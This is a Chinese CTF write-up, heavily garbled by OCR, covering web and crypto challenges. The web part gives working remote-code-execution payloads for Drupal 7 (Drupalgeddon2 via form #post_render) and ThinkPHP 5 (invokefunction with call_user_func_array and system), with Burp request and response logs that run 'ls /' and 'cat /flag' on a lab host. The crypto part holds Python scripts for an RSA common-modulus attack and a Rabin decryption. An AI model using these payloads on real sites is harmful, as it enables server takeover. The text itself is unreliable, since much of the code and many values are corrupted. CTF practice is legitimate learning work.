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hintARE4Sy, BB T —TF, R fZdrupal7 FICVERIFE.
Google—¥, BEARESHIEE, WA EEE:
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AW, Mi&post:

?g=user%2Fpassword&name%5B%23post_render%5D%5B%5D=system&name%5B%23markup%5D=1s%20/&name%5B%23type%5D=markup

form_id=user_passé&_triggering element_name=name

XEEREGSTEBR, KHICHIs%20/, BHRAEEMREF, Go— FEEform build_id:

Request

Raw [ Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render

POST

/?gq=user/passwordename [$23post_render] [1=systemename [$23markup] =1s%20/ ename [$23
type] =markup HTTPF/L.1

Host: 219.219.61.234: 10002

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; =x&4;
Firefox/&64.0

Aocept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;¢q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7, zh-HK;q=0.5,en-U5;q=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Referer: http://219.219.61.234:10002/ ?q=user/passwvord

Content-Type: application/x-www-form-urlencoded

Content-Length: 47

Connection: keep-alive

Cookie:

csrftoken=hgJRymEWI4 lyOORTIwhO3 INUTnKEURXNZ ULEQOZ Jsn3bkMBqLzF JoJ8KwV1vFEsT
has_js=1;

session=.eJdwlj0lrgOAURESKeessdDSxCE LpxMASUcakDz£G34yTGOsNTIsh 71luur lw74EDSwnd¥0
YFDEI]]Tj_EAEVCP.SXXEJ*"}[EEﬁIDVFDhAD]]TPJtIlmufU}{‘]7Pkﬂ?KQKi‘:l]G?N"G‘][gE?uMDSJCXiRHjLUkQ
ZqLycMEsEQGked8I3VnieUeponNREPLVERTS MpF kI xoP-KOXDLnmZt yR1ZgTLIP IvF zUepGSIniki=7
IReVQ-Ky28s72t7 lgqvdIVRuy4gll=Blgf4_f3mf0ACGvOhUOT-g0zZ3DEe3PE10L3 Tk-5uTRo 809 7Dkav
Béw_ooVié.DvIESQ.0eimZIsESfMmmTo4XCakFelloviy:
FHFSESSID=1:|V])aleSEL:116c[S]}jEihyyicsrf=rv5UGQmDNAURgUYdEEEeSSJELEDQFLH{

Upgrade-Insecure-Reguests: 1

rv:E4.0) Gecko/Z0Ll00101

form_id-user_passé_triggering_element_name=neme

R X 4Morm_build_id, FHackbar post— FiX4Morm _build_id,
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http://219. 219. 1. 234:100
02/?g=file/ajax/name
/%23value/form—
2ATVu01_TmxDgPRizxtQX3uum
Xubv11gNivEgME=6Bc

Enable Post data

form build id=form-
2ATVu01_TmxDgPRizxtQX3uum
Xuby11lgNivEgMEe6Bc

MEEW, go—TRIEMRAR, KIfagXt,

¥

primary"»<li»<a href="/7?g=user/register">Create new account</a»></1i>
<lir»<a href="/?g=user">Log in</a»</lix
<li class="active"><a href="/?q=usesr/passvord” class="actives">Reguest new
password<span class="element-invisible">{active tab)</span></a»</li>
</ul> </fdivs>
<div class="region region-content™>
<div id="block-system-main" class="block block-system">

<div class="content">
<form

action="/7g=user/passwordiamp; name [323post render] []=system&amp; nams[ 32 3markup]
=1s%20/ camp; name [$23type] =markup" method="post" id="user-pass"
accept-charset="UTF-8"><div><div class="form-item form-type-textfis=ld
form-item-nams">

<label for="edit-nams":Username or e-mail address <span
class="form-required” title="This field is required.">%*</span></label>

<input type="text" id="edit-name" name="ngfe" walu=="Array ls / markup"
size="g0" maxlength="254" class="form-te required™ />
</div>
<input type="hidden" name="form build®1id"
value="furm—:ATVuOJ;meDqFRLzxt,Q)(SuumthyiJ.quvKHEEEBcr' />
<input type="hidden" name="form_ id" value="user_pass" I3
<div class="form-actions form-wrapper" id="=sdit-actions"><input type="submit"
id="edit-submit" name="op" value="E-mail new password" class="form-submit"
frefdive</dive</ forms> </ dive
ed i
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Request Response

Raw | Params | Headers | Hex / Raw | Headers | Hex

POST i Iy Content-Lengch: 477
/?q=file/ajax/name/%Z3valus/ form-IATVuOl_ TmxDgPRizxtQ¥3uumiuby lloiivEqlEe EBe - Feep-Llive: timeout=5, max=100
HTTP/1.1 Connection: Keep-Alive
Host: Z19.219.61.234:10002 Content-Type: application/ison; charset=ucf-g
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x&64; rv:64.0) Gecko/Z0Ll00L101L
Firefox/€4.0 bin
Locoept: ®/* hoot
Aeecept-Language: zh-CN, zh:qg=0.8, zh-TW:cq=0.7, sh-HE:q=0.5,en-U5; q=0.3,en;q=0.2 dev
Accept-Encoding: gzip, deflate etc
content-type: application/x-www-form-urlencodsd flag.
cache: no-cache home
origin: moz-extension://ea79062d-25cl-4dELl-B2£d-Th0AZ38523a7 1lib
Content-Length: &2 1ibE4
Connection: keep-alive media
Cookie: mnt
esrftoken=hoJRymEWI4lyOOREIwhO3 INUTnkEURXIZ ULEQOZ jsn3bkMEqf zF JoJBEWVIVFEST opt
has js=1; proc
se: on=.eJwlj0lrgOAURESKeessdD5xCe lpxMABUcaKD 2 £G4y TGOsNYIsh 7 1uur 1w74EDSwndYO root
YFDcmTj EAEUCPSxxg—VrEEaInVFDhAUpTBmlmeUIH7Pka=KQK1VnG=NUG4r5E=uMUSJchPHjLUkO run
Zc[Lyc[HEsEQGkS:lEiHV JelUeponBEEFLUEFATSMpF kI xoP-KOXDLomZt yR1ZgTLIP IwvF zUepGs Inilje" shin
TReVO-Ky0B8s72e71gqvd IVRUy4gN=E Jft4 £SmfO0AtGvOhUOT—qO0z2Z3Dt3PE10L3 Tk-5uTRoE08TDkzv srv
BEw_coVig.DvIK5Q.0cImZIsER mTodXCakdoOkviy; EVE]
PHPSESSID=1jvhaf l03scil JElhefg5Z; _esrf=rvSUGOmMDNAWRgUTd=E£=88]15LEDOFi1N Ty
usr
form_build id=form-ZATVuOl TmxDPRizxtOX3uumXubyllegNivEgqMEeEBe var
[{"command”: "seccings", "sectings": { "hassPach™: "\ /", "pathPrefik": """, "ajaxPagsst
te":{("theme": "bartik", "thems_toksn": ”anUQBgAp_lD_AEzhyBRVLberVAQhTETp\ZNxTIDL:

T—IHMRZRITIFRZAMag X, FTUER LRRlE, B2ty &R cat%2e/flag BIF . (FEEBNERRXENZEKRE
EE Hurlgpd %20, ZRIEAERBIRXA A, SBUEEA B

Request Response

Params | Headers | Hex / Raw | Headers | Hex | HTWL Render]
POST Fl <

hZ class="element-invisible">Primary tabs</hl><ul clas

"tabs

/?q=user/passwordénam=sSB523post_rendsr¥5D%¥5BYSD=systeminames 5B 23markups SD=cat P primary"><li><a hre '/ Pg=user/register">Create new account</ax></li>
%I0/flaginame%5B%23type%Sh=markup HTTP/1.1 <lir<a href Pg=user">Log in</a></li>

Host: 218.219.61.234:10002 <1li class="active"s><a href="/?qg=user/passwvord"” class="active">Reguest new
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win&4: =é4: rv:£4.0) Gecko/201l00101 password<span class="element-invisible">(active tab)</spanx</a></li>
Firefox/64.0 </ul> </divs

Aocept: text/htwl, application/xhtml4xml, application/xml;q=0.9,*/*;q=0.8 <div class="region region-content”>
Accept-Language: zh-CHM, zh;q=0.8, zh-TW;q=0.7, zh-HE;q=0.5, en-U3;gq=0.3,en;qg=0.2 <div id="block-system-main" class="block block-system">

lecept-Encoding: gzip, deflate
Referesr: http://219.218.61.234:10002/ >q=user/password

Content-Type: application/x-www-form-urlencoded <div class="content">
Content-Length: 47 <form
Connection: keep-alive action="/7?¢q=user/passwvord&amp;name%5E%23post render%5D%5B%5D=system&amp; names%5E
Cookie: %23markupt5D=cat%20/ f lag&amp; name%5B% 23 typet 5D=markup” method="post"
esrftoken=boJRymEWI4 1y0OREJwhO3 INUTnkfURKNZ ULKQOZ jsn3bkMEqf zFJo J8KWV1IVFEST id="user-pass" accept-charsec="UTF-8":<div><div class="form-item
has_7js=1; form-type-textfisld form-item-nams">
session=.=Jwli0lrgDAURESFEeessdDSxCt LpxHABUcaKD £G4y TGOsTIsh 71luur lw74EDSwndY0 <label for="edit-name">Username or e-mail address <span
YFoqnT] EABWCRSxxg-VrEEalnvFOhAopT7RmlmUEUN47PkacKOKiVnGeNWE4rSEeudosicxiRHILUKD class="form-required"” title="This fisld is required."»>*</span></label>
ZoLyMEsEQGkSAaT3VnieUeponlRfPLV fHTS MpFk2 xoP ~XOKDLnmZt yR1 ZqTL 1P TwF zUepGE TniMieT <input type="text" id="edit-name" name="name" wvalue="Array cat /flag markup"
TReVQ-Ky0Bs72t7lwdIVRuy4geBlgfd £5mE0ACGvQhUOT7-qOzZ3De3P810L3 Tk-5u7RoE0STDkEV 8ize="E0" maxlength="254" class="form-text redquired"”
BEéw_ooViE.DVIKSQ. 0cInZIsEBfMmTo4XCakdeOkvig; </ divs>
PHPSESSID=13vbaflO3scileégbijelhefg =rvSUGCDNAWRYUYdeE€=0838LED0F1lN <input type="hidden" nams="form build id"
Upgrade-Insecure-Requests: 1 valus="form-rRnTESZ 6Kolggbh IsTyl0E-GnTx6gckUgG8laTEb Tuhw™ />
<input type="hidden" name="form_id" value="user_pass" />
form_id=user_passé&_triggering element_name=nams <div eclass="form-actions form-wrapper" id="edit-actions":<input type="submitc"
id="edit-submit" name="op" valuse="E-mail new passwvord"” class="form-submit"
fr<fdive</dive</ form> </ div> I
PYETIEN o 0
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
FOST | | HTTP/ L.l 200 QK A
fRg=filef/ajax/name/s23valus/ form-rRnTESZ EKolgqgbh IsTy IOE-GnTxEgekUgGa 12 TEh Tuhw - Date: Sun, 1€ Dec 2018 11:33:50 GMT -

Server: Apache/Z.4.7 (Ubuntu)

¥-Powered-By: PHP/5.5.9-lubuntut.lé

4r rv:£4.0) Gecko/Z01l0010L Expires: Sun, 19 Nowv 1978 05:00:00 GMT

Cache-Control: no-caches, must-revalidate

¥X-Content-Type-Options: nosniff

.5,e2n-U3;q=0.3,en;q=0.2 ¥X-Drupal-Ajax-Tokesn: 1

Set-Cookie:
SESSdab35239c04Z22f2fe737587c0Zceclde=iogaaPjaj zZWe YgyvXPUoXM5r35wEHpv-opASSEkDL

HTTP/L.1

Host: 215.219.£1.234:10002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4:
Firefox/€4.0

Aecept: K/ *

Accept-Language: zh-CN, zh;q=0.8, zh-TW; q=0.7, zh-HE; =
Accept-Encoding: gzip, deflate

content-type: application/x—wwv-form-urlencoded

cache: no-cache Q; expires=Tue, 0B-Jan-2019 15:07:10 GNT; Max-Age=2000000; path=/; HttpoOnly
origin: moz-extension://ea79062d-25cl-4dE1-B2fd-Th0d2395323a7 Content-Length: 4Z&

Content-Length: €2 Keep-Alive: timeout=5, max=100

Connection: keep-alive Connection: Keep-Alive

Cookie: Content-Type: application/isongdcharset=utf-g8

csrftoken=haIdRynEWI4 lyOORtJwhO3 INUTnkEURXNZ ULKOOZ 3sn3bkNBqEzF JoJ 8wV 1vFEsT,

has_js=1; flag{07381475a7£a457743733bb828c19b3c}

session=.eJwli0lrgOAURESKeessdDSxCT lpxMABUcakDz£G34yTGOsNYIsh_7luur Lw74EDSwnd¥o [{"command"”: "settings", "settings":{"basePath": "\ /", "pathPrefix" ", "ajaxPageSta

TFoqnT) EABWCRSxxg-VrEEalnvFOhAop7RmlmULUN47PkasKOKiVnGeNWG4r SEsulloSjcx iIRHILUKG te"i{"thems":"hartik", "theme_token":"-V_M3ZpcQ WwidwaaKiduorMMHMYZrcQlSSYIETHITR
ZaLyqMEsSEQGKOAEI3VnieUeponNREPLVERTSMpF k2 xoP-XOXDLomZtyR1ZgTLIP IvF z2UepGSIniMje7 g}, "merge:rtrusl, [ "command": "inserc”, "method": "replaceWith", "selectorinull, "
IReVO-Ky0B8s72t7 lewdIVRuydglieBlgfd £SmEO0ALGvOhUO7-OzZ3DE3PEL0OL —Su7RoE0S7Dkzv data™:"", "ssttings":{"basePath "/, "pathPrefix ", "ajaxPageState”: {"thems":"

Béw_ooVif.DvEIKES5Q. 0cimE IsEEfMmmTodXCakdcOkviyg;

x bartik", "theme_token':
PHPSESSID=1jvhaflO3sciléqShiélhefys2; _esrf=rviUGCmDIT

-V_MBZpcQ_WwdwaaKiduorMMHMYZrcQlS5STIETXSTpg"}1}]
d=EE=88JSLEDQFilN

form build id=form-rRnTESZEFKolggbIsTylOE-GnTxEgekUgGslzTEbTuhw

tp5
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AN R E G 2 BT BB 1R B SR 3T IRTR . ThinkPHP 5.0 & 5.1 S HATIRIA, &
%ﬂfﬁ??}ﬂ:ﬁﬁ%: click here
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https://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652849500&idx=1&sn=faf67baccbc970a179e679ea378fdc92&chksm=bd5939918a2eb087cd34eff02f4bb0186190f15dda841e299923717de222df913db1a89acb1d&mpshare=1&scene=23&srcid=1216eedEBA61VyEXXfPPHC1R#rd

B H o Rtp5.0M A, L FE E #H payload:
AT :
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[@]=system&vars[1][]=[ R & 4]

e 1s /FIMRERTHEEZ, KMAag3ft;

bin boot dev ete flag home lib libs4 media mnt my_init my_service opt proc root run sbin srv sys tmp usr var var

lk

WG EEAFlag CHHEIT

flag{ebb0052e5b15f2d298cdd4546c7d4482} flag{ebb0052e5b15f2d298cdd4546c7d4452}

payload:

http://219.219.61.234:10005/public/?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[@]=system&vars[1][]=cat%20/flag

Crypto

ZHNEEANEE IS HEEZNART, FERRFFESTELY, RECENEBEERRE TAPEHIAR, REI—T L
K Hicrypto

BARE B &

FIXW, FEn,c1,c2,e1,e2 BACLYEX BB ERRSAKIE L L, HRFTEHNSHEHME T, HERNMIZHLH
FARE, BT CA S ) AR R X —HE ) T B AT R B

FGT— T TR B


https://imgchr.com/i/Fxggu6

n="ZZTOBOTBBISBBSOIIAbZAbZOAgObAEEEIBSBEBTIZAEEZTTZZbBEIOTEASTBBBAOEIZEETBSATESOZEZAZOZbTOIbSSIBIgOSZAEOTTEO0ATS
SBAbbAgOAAOOIOZAIAIABSZBEZBbABEIEOTOZbIbOSTZTAbgBATELIIIAESOBTEBBbgTODEATSOIGEISBEIITbEZTIOTOOTBTZZBOIbABOIZTHTT]
EgEbAggZgSEOAIbSgBbBbOZTESAZIbAZZSbSEEAASEOISIbIgZTbIEbOTEOZBEISAZBSTETTBSgbIZSgbZBZESEDTEEZTTTEEOETZTOOAAOTZbZT
g TZEISBbEZASggIBIgBESTZbZZAOASEOESAOBASAITBBObZZbZIbASIOIAObOSBbBIZZATIOEBBOgOITAAZOIATTSZAOBSSAIZgTBgTbOg0OZEOOBg]
BOAbZTEgOgO0TBSZBIBATAOEOTTObggbATbATEDEOISIOZIIBESbTETbTEGAIESAZITbgZbgbOAAgbgbgSEOBSObAEDSTEIAZSbSSTEABTSBESOT
OETESbgAABABOEgBbAEBZEEEZIbZbbbTObTESbTABBBTISOBEZSEIIISABOI"
c1="ZZEZZOESZTSbbEZETOAIbAbBEETTOASIgEESOEEZATOIgIEABAEOEEEBOTbZIObOESAZbIZTSBESbZbZBbgbAOBZZABDATOIZIIAgAZAABSS
TIEbIOOTAZIZGEbTSSIbEEBBZZIgSZBOEIETgAgEIIEDOABIAOEIBBAZATIZIgBAOZbESEDEEBBBbZSOAEZbBZTEGAEDAIOOIEAEDDSIILITZOTZ
SBSSABABbbbgOOBATBBTZIEAgSSSbbZOIgBTgOBISOIIIEZZZggbIZEEOSSEEOOEEZSEbAETTTEBBEZTOEIbISZIBSZBOSESbBITIZIgSbEBBEEIZ
BgbEEOISbZgBbZIbTAbBAESEEIgSATSSBIZTgZ0gZSTObBAZBOBEIATbZIggOII0SAgSSBIbSEAETTOTSZbTEES00gSTSEATBZOEBTOTEABEEZBA
ZSObbSEbEbIABZTTABEZETOgbgSZOTAOEOAZBTASbSSSSOBEEEETZTBZEZTSObSbgOIOTTZSETAETSAITbAEITIAZg0SZZIbZgIIgBgEZOgZbITTg
ZbASZSEgOIATBEIOBOISgZBTBZOESbABbIIIBEIZOASAbAgSEBEZSbbOSIEDLI"
c2="IBTOZOIOOASIBTOISSSbSABbgIbAZEgAgBZBESbbgZbZIATZEOZIZTEIEOgEEBbTSZZbASBSSSZIOAZSgTZAZgATIBAAEZTEATIOSESEBTEBSg
EIOEbTIIBSAZbSbZEgOSObbBOSbbSTSIBOEZbgIObBBOTAbTbgOOEATBEO0TEIOgESE0ZEESIEEZSAAgTABBIAOTSEOAOITATISBSSTZBABATESS
bAgOSbSASOObZbbATObAAgIZBAISBEATBTgbIgATZbbZSgTBgTBSgbZgZZZEBTOIIEAOTETZOAIAZZBAIAObbIgEOTIAESEOADIZEAIOSZEBTASS
bISgEOOZESEbBZEBOIAgEZbgTTEESTIBbOBTASZTATSOOBAOBAOAIGEDSOIISSAAZIIBEOETSOSbSEABIZBbTEZTAOEBETOZTAOBZZbTIIABOASD,
IgAgTbbTIBASBbIZEbSTZBSbOAObBIBTSbSEgOgSbTBZZEZBEIAObSEETTETTEEAAADAOESISIBTTSABTbAEBIgETBZbZEBELITZbSTETEBZBAELT|
[gbEOBBBTZgAOTZEBAgbbSOgBTTZOAZBTOBZITIISZSTgBgOOTBbTEEIbgBEEGT ™
el-"IIIBTZBg"
e2="gbATZgI"
def count_each_char_1(string):

res {}

for 1 in string:

if i in res:
res[i] 1
else:
res[i]
return res
"n:"+str((count_each_char_1(n)))

"cl:"+str((count_each_char_1(cl1)))
"c2:"+str((count_each_char_1(c2)))
"el:"+str((count_each_char_1(el)))
"e2:"+str((count_each_char_1(e2)))

KILEIEHHI T 10455 A,8,E,8,1,0,S,b,T,Z JERRX 10 FEEX M AT R0-OKI 10Ky, An{aPRe = BRI 7 54T 368 LA A
KAEREE; BT ¥R, Bk, RERABME, HETBREHIIXM10MT. ..

BB RAAE (ELENKRAZES T —T)

import gmpy2
import base64
import itertools

def main():
dic_alpi=['O','T','A','B','b","'Z",'"I","E",'S","'g" ]
dic_num=['®@',"'1"','2",'3"','4",'5"','6"','7"','8",'9"]
dic_alp2-=1ist(itertools.permutations(dic_alpl))
for x in dic_alp2:




n OBOTBBISBBSOITAbZAbZOAgObAEEgIBSBgB AEg bBELOTEASTBBBAOELZGE IBSA 0ZgZAZ0ZbTOIb BIgOSZAEQT TgO0A
TSSBAbbAgOAAOOIOZATIAIABSZBEZBbABEIEOTOZbIbOSTZTAbgBATEDIIIAgSOBTEBBbgTODEATSOIGEISBEIITbEZTIOTOOTBTZZBOIbABOIZTh
TTEgEbAggZgSEOAIbSEBbBbOZTESAZIbAZZSbSEEAASEOISIbIgZTbIEDOTEOZBEISAZBSTETTBSgbIZSgbZBZESEDTEEZTTTEEOETZTOOAAOTZ D
ZIgTZEISBbEZASggIBIgBESTZbZZAOASEOESAOBASAITBBObZZbZIbASIOIAObOSBbBIZZATIOEBBOgOITAAZOIATTSZAOBSSAIZgTBgTbOgOZEQO)
BgBOAbZTEgOgO0TBSZBIBATAOEOTTObggbATbATEDEOISIOZIIBESbTETbTEEGAIESAZITbgZbgbOAAgbgbgSEOBSObDAEDSTEIAZSbSSTEABTSBES
OTOETESbgAABABOEgBbAEBZEEEZIbZbbbTObTESbTABBBTISOBEZSEIIISABOI"

Cc1="ZZEZZOESZTSbbEZETOAIbAbBEETTOASIEESOEEZATOIgIEABAEOEEEBOTbZIObOESAZbIZTSBESbZbZBbgbAOBZZABDATOIZIIAgAZAAB
SSTIEbIOOTAZIZEEbTSSIbEEBBZZIgSZBOEIETgAggIIEbOABIAOEIBBAZATIZIgBAOZbESEDEEBBBbZSOAEZbBZTEEGAEDATOOIEAEDDSIIbITZO)
TZSBSSABABbbbgOOBATBBTZIEAgSSSbbZOIgBTgOBISOIIIEZZZggbIZEEOSSEEOOEEZSgbAETTTEgBBEZTOEIbISZIBSZBOSgSbBITIZIgSbEBBEE
IZBgbEEOISbZgBbZIbTAbBAESEEIgSATSSBIZTgZ0gZSTObBAZBOBEIATbZIggOITIOSAESSBIbSEAETTbTSZbTEESOOESTSEATBZOEBTOTEABEEZ
BAZSObbSEbEbIABZTTABEZETOgbgSZOTAOEOAZBTASbSSSSOBEEEETZTBZEZTSObSbgOIOTTZSETAETSAITbAEIIAZg0SZZIbZgIIgBEEZOgZbIT]
TgZbASZSEgOIATBEIOBOISgZBTBZOESbABbIIIBEgIZOASAbAgSEBEZSbbOSIEDLI"

c2="IBTOZOIOOASIBTOISSSbSABbgIbAZEgAgBZBESbbgZbZIATZEOZIZTEIEOgEEBbTSZZbASBSSSZIOAZSgTZAZgATIBAAEZTEATIOSESEBTEB
SEEIOEbTIIBSAZbSbZEgOSObbBOSbbSTSIBOEZbgIObBBOTAbTbgOOEATBEO0TEIOgESE0ZEESIEEZSAAETABBIAOTSEOAOITATISBSSTZBABATE
SSbAgOSbSASOObZbbATObAAgIZBAISBEATBTEbIgATZbbZSgTBgTBSgbZgZZZEBTOIIEAOTETZOAIAZZBAIAObbIgEOTIAEGSEOADIZEAIOSZBTA
SSbISgEOOZESEbBZEBOIAgEZbgTTEESTIBbOBTASZTATSOOBAODAOAIEEDSOIISSAAZIIBEOETSOSbSEADIZBbTEZTAOEBETOZTAOBZZbTIIABOA
SbIgAgTbbTIBASBbIZEbSTZBSbOAObIBTSbSEgOgSbTBZZEZBEIAObSEETTETTEEAAADAOESISIBTTSABTbAgBIgETBZbZEDEDITZbSTETEBZBAE
ITgbEOBBBTZgAOTZEBAgbbSOgBTTZOAZBTOBZITIISZSTEBgOOTBbTEEIbgBEGT"

el="IIIBTZBg"

e2-"gbATZgI"

for i in range(10):

n=n.replace(x[i],dic_num[i])

cl=cl.replace(x[i],dic_num[i])
c2=c2.replace(x[i],dic_num[i])
el-el.replace(x[i],dic_num[i])
e2=e2.replace(x[i],dic_num[i])

n=int(n,10)
cl=int(c1,10)
c2=int(c2,10)
el=int(el,10)
e2=int(e2,10)
if gmpy2.gcd(el,e2)!=1:
continue
else:
mgcd, s, t=gmpy2.gcdext(el,e2)
if s<0:
try:
s=-s
cl=gmpy2.invert(ci,n)
except ZeroDivisionError:
continue
if t<o:
try:
t=-t
c2=gmpy2.invert(c2,n)
except ZeroDivisionError:
continue
plain=pow(cl,s,n)*pow(c2,t,n)%n
try:

ans "{:x}'.format(plain).decode("hex")

if 'flag' in ans:
print ans
print x
break

except TypeError:
pass

if _ _name__ o

main




S A I P B 2 H X RRO0-9IX 10N 8, RIEHIIASHABTERR, ARSAKIEKE RHREHSR, Kilflag:

flag{49d91077alabcbl4f1a9d546c80be%ef}
('O‘IJ 'I', 'Z', lEl, IJ&IJ IS|‘II lbl) 'T', lBl‘, Igl)
[Finished in 54.1s]

BJa KR EHFREUN FRARB R T AN SH. ..

**attention: **H Sz UANKHHA BT, BN e1 o2 #REM o(n) EK, AT el M o2 ZRFEH, FrUATTLAZE/N e1 Ml e2 )
H, BE— TR TE, . g M1 MEui;

EE: X REE-F: 0

XEEEEFRMAEN, WEHSR, AHHECELILE ksynb 5ANFE, BT EEME X5 F B2 HEF X R 26 7 BER AP
", BILESI=120MAFKSER, WAERRE;

R A

cipher="ksyssskkysynbssbbnynnb"
dic_cip=list(itertools.permutations("ksynb"))
for x in dic_cip:

key.append('"'.join(x))

for child_key in key:
num_c=""
ans=""
for now_c in cipher:
num_c+=str(child_key.index(now_c))

for i in range(@,len(num_c),2):

now_ascii=int(num_c[i])*5+int(num_c[i+1])+97
if now_asciirord("i"):
now_ascii+=1
else:
pass
ans+=chr(now_ascii)
'flag' in ans:

print child_key, ans

RIAWMERBEEA flag 77, BREE A, HFIHTHAN skynb


https://imgchr.com/i/kS6qQ1

skynb flagloveyou
skybn flaglpqdupy
[Finished in 0.1s]

First level

BHSG e=2 , EACLBERRSAKATAEH Erabin, yafuZyi#nfs ElpMqln T -

PRP617 = 2834922315266601230989642176772578731612489711141647342080384901974115411758248256864525418321555298656
3114855665416593397403745371086355268654763921803558654340155902194948080056226592560917521612824589013349044205)
9895412594688566022284629034487211057741099663254795301811971564765024730679780720532734373696804334952591189537
1790952479908669264010308428706409148968116249810827529525508262780707794984160206142828927270026398743808704543
4043977981316071156426134695316796020506076336851840708593720052204359360366058549157961154869248835793804817253
©083037277453771408544063058190126149127240681909811943783388977967

PRP617 = 2834922315266601230989642176772578731612489711141647342080384901974115411758248256864525418321555298656
3114855665416593397403745371086355268654763921803558654340155902194948080056226592560917521612824589013349044205
9895412594688566022284629034487211057741099663254795301811971564765024730679780720532734373696804334952591189537
1790952479908669264010308428706409148968116249810160728082220277353299809805088080363114451437794807927769078762
2279940743498439084904702494445241729763146426258407468147831250550239995285695193105630324823153678214290802694
619958991541957383815098042054239547145549933872335482492225099839

eof; done processing batchfile

B A -



import gmpy2
c=49990028790716390386377012751745182495059144985422028201401855280239694330467472453335766387691617545904341188
7269615620980351359674373127551283923032759205525834407466303318140213222438375548066871397251493100247836770129
7925547687595163490586736150817616383439322568498896040586087475319419289828325857063613919502239485290469501390
4317672074203852699823144827049009713464116963521056715136953301854574620404699236862133493902958240028532277736
5958482219075297507215203709356125635202625121091161318566582307478931230962853531285514124459092351456397307588
0246130942268077921658761332690383639950372196779262209675781910334806318905897614762933946130747638774650674813
5307303226182903553283226239012138538832858596762056749706993036164440918263293462987595316175467897174408233133]
5000439916510067572742641854184303838362027247026467270857712018679364014951870327424723286991989268813839644982,
3178383290225510331513179119587076038330702069415324968547307390542060168729587506457050432703965115433904656071]
7254399221640573497118843770240533433496191844572416324107532292111661828042513168350784339637662670586124342039
9065472311770119489811395486846742327683616439776584876654620796349661745998246254486950516901889112077176621805
823
p=28349223152666012309896421767725787316124897111416473420803849019741154117582482568645254183215552986563114855]
6654165933974037453710863552686547639218035586543401559021949480800562265925609175216128245890133490442059895412
5946885660222846290344872110577410996632547953018119715647650247306797807205327343736968043349525911895371790952,
4799086692640103084287064091489681162498108275295255082627807077949841602061428289272700263987438087045434043977
9813160711564261346953167960205060763368518407085937200522043593603660585491579611548692488357938048172530830372
77453771408544063058190126149127240681909811943783388977967
q-28349223152666012309896421767725787316124897111416473420803849019741154117582482568645254183215552986563114855
6654165933974037453710863552686547639218035586543401559021949480800562265925609175216128245890133490442059895412
5946885660222846290344872110577410996632547953018119715647650247306797807205327343736968043349525911895371790952,
4799086692640103084287064091489681162498101607280822202773532998098050880803631144514377948079277690787622279940
7434984390849047024944452417297631464262584074681478312505502399952856951931056303248231536782142908026946199589
91541957383815098042054239547145549933872335482492225099839

def rabin_decrypt(c, p, q, e=2):
n=p~="4q
mp = pow(c, (p + 1) / 4, p)
mq = pow(c, (q + 1) / 4, q)
yp = gmpy2.invert(p, q)
gmpy2.invert(q, p)
(yp “p “ mq + yq
n-r
(yp “p “mq - yq
n-s
return (r, rr, s, ss)

main():
ans=rabin_decrypt(c,p,q,e=2)
for x in ans:
temp="{:x}"'.format(x).decode("'hex")
if 'flag' in temp:
print temp

if _ _name__ __main__"':

main()

WHERBANGER, EHEESE—BREAlaghf B LA

Once upon a time there was a baby eagle living in a nest perched on a cliff overlooking a beautiful valley
with waterfalls and streams, trees and lots of little animals, scurryingl about enjoying their lives.The
baby eagle liked the nest. It was the only world he had ever known. It was warm and comfortable, had a
great view, and even better, he had all flagl{Thls_i5 wHat_You_ne3d_FirsT} the food and love and attention
that a great mother eagle could provide.

[Finished in @.2s]
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